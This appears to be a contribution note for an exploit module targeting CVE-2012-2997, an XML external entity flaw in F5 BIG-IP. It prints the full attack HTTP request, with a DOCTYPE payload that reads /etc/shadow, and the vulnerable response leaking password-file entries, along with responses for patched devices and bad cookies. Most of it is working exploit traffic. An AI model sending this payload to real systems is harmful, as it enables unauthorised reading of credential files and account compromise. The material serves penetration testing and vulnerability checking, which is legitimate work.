Add CVE-2012-2997 (F5 BIG-IP XML vuln)

This module has been tested against a vulnerable BIG-IP and works. The module does not know when it fails nor does it collect just the file contents however.


Post from module:



POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: https://10.10.10.10/xui/
Accept: */*
f5-automated-request: true
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 10.254.212.13
Connection: Keep-Alive
Cookie: BIGIPAuthCookie=<redacted>; 
Content-Length: 145

<?xml  version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>





Vulnerable response:

HTTP/1.0 200 OK
Date: Thu, 28 Mar 2013 22:02:45 GMT
Server: Apache
Set-Cookie: BIGIPAuthCookie=<redacted>; path=/; Secure;
Set-Cookie: BIGIPAuthUsernameCookie=mdaily; path=/; Secure;
X-Powered-By: PHP/5.2.14
Content-Length: 1573
Connection: close
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<message><dialogueType>any</dialogueType><status>generalError</status><command>any</command><accessPolicyName>any</accessPolicyName><messageBody><generalErrorText>Client has sent unknown dialogueType 'root:$1$<redacted>:::
bin:*:14224::::::
daemon:*:14224::::::
adm:*:14224::::::
lp:*:14224::::::
mail:*:14224::::::
uucp:*:14224::::::
operator:*:14224::::::
nobody:*:14224::::::
admin:<redacted>







Not vulnerable response:


<?xml  version="1.0" encoding='utf-8' ?>

<!DOCTYPE a [<!ENTITY UeFesQX SYSTEM '/etc/shadow'> ]>

<message><dialogueType>&UeFesQX;</dialogueType></message>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Bad request!</title>
<link rev="made" href="mailto:support@f5.com" />
<style type="text/css"><!--/*--><![CDATA[/*><!--*/ 
    body { color: #000000; background-color: #FFFFFF; }
    a:link { color: #0000CC; }
    p, address {margin-left: 3em;}
    span {font-size: smaller;}
/*]]>*/--></style>
<style type="text/css"><!--/*--><![CDATA[/*><!--*/ 
* { width: 400px; font-size: 100%; font-style: normal; }
html { text-align: center; }
body { background: #ffffff; text-align: left; font-family: sans-serif; font-size: 70%; color: #333333; }

a,span { width: auto; } 
h1,h2,h3 { margin: 20px 0px 20px 0px; font-weight: bold; }

h1 { padding: 5px; border: 1px solid #999999; background: #eeeeee; color: #000000; font-size: 125%;  }
hr { height: 1px; border: none; border-top: 1px solid #999999; }
img { border: 0px; }
p { width: 350px; margin: 15px 25px 15px 25px; line-height: 135%; }
/*]]>*/--></style>

</head>

<body>
<h1>Bad request!</h1>
<p>


    Your browser (or proxy) sent a request that
    this server could not understand.

</p>

<h2>Error 400</h2>
<address>
  <a href="/">localhost.localdomain</a><br />
  
  <span>Thu Mar 28 19:03:20 2013<br />
  </span>
</address>
</body>
</html>





Wrong Cookie Supplied Response:



HTTP/1.0 302 Found
Date: Tue, 18 Jun 2013 19:37:52 GMT
Server: Apache
WWW-Authenticate: Basic realm="BIG-IP"
Location: /tmui/login.jsp?msgcode=2&
Content-Length: 214
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="/tmui/login.jsp?msgcode=2&amp;">here</a>.</p>
</body></html>